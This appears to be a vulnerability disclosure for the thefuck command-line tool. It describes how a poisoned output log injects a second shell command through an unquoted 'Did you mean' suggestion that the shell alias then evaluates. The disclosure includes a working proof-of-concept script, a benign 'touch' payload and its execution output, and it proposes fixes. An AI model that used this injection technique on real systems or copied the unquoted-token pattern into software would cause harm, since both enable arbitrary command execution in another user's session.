Poisoned THEFUCK_OUTPUT_LOG steers the corrected command; unquoted output token executes on alias eval
Description
In instant mode (THEFUCK_INSTANT_MODE=true), the corrected-command proposal is built from the session output log (THEFUCK_OUTPUT_LOG), and output-derived tokens are concatenated into the proposal without shell quoting. Combined with two weaknesses this yields a command-injection chain from a poisoned log:
output_readers/read_log.py::_get_script_group_linesselects the log group for a command with a loose substring match (all(part in script_line for part in parts)) over the whole shared log;- many rules extract tokens from
command.outputand insert them into the new command unquoted — e.g.rules/brew_install.pyregex-extracts theDid you mean Xsuggestion and returns"brew install " + formula; CorrectedCommand.runwrites the proposal to stdout, and the shell alias evaluates that stdout — so anything in the proposal is executed as shell code (with--yes, without even a confirmation prompt).
Impact
Anyone who can write to the session log (a second local user when the log is group/world-writable — see the separate report on the 0755/0777 default modes; or any process compromise) gets arbitrary command execution in the victim's shell session when the victim next runs thefuck on a matching failed command. Example: the poisoned log line Did you mean evil; touch /tmp/pwned? produces the proposal brew install evil; touch /tmp/pwned, which the alias evaluates verbatim.
PoC
Verified on thefuck 3.32 (source install). The log is poisoned with the same structure read_log expects (a \u200b*10-marked script line followed by "output" lines, padded to the 1 MiB mmap size):
MARK = "\u200b" * 10
lines = [f"{MARK}brew install foo\n",
'Warning: No available formula with the name "foo". Did you mean evil; touch /tmp/thefuck_pwned_REC?\n',
f"{MARK}$ \n"]
# ... pad to 1048576 bytes like shell_logger does
Victim side (a brew shim on PATH simulates a brew-equipped machine):
THEFUCK_OUTPUT_LOG=/tmp/thefuck_poisoned.log THEFUCK_INSTANT_MODE=true \
PS1=$MARK'$ ' thefuck --yes "brew install foo"
Execution result
[victim] thefuck stdout (what the shell alias evals):
brew install evil; touch /tmp/thefuck_pwned_REC
[evidence] proposal contains injected payload: True
[evidence] payload command executed after alias-style eval: True # /tmp/thefuck_pwned_REC created
The proposal steered by the poisoned log was written to stdout and, evaluated exactly as the alias does, executed the injected command.
Suggested fix directions: quote output-derived tokens when composing proposals (shlex.quote), and/or tighten the log-group match beyond substring containment.
Source: nvbn/thefuck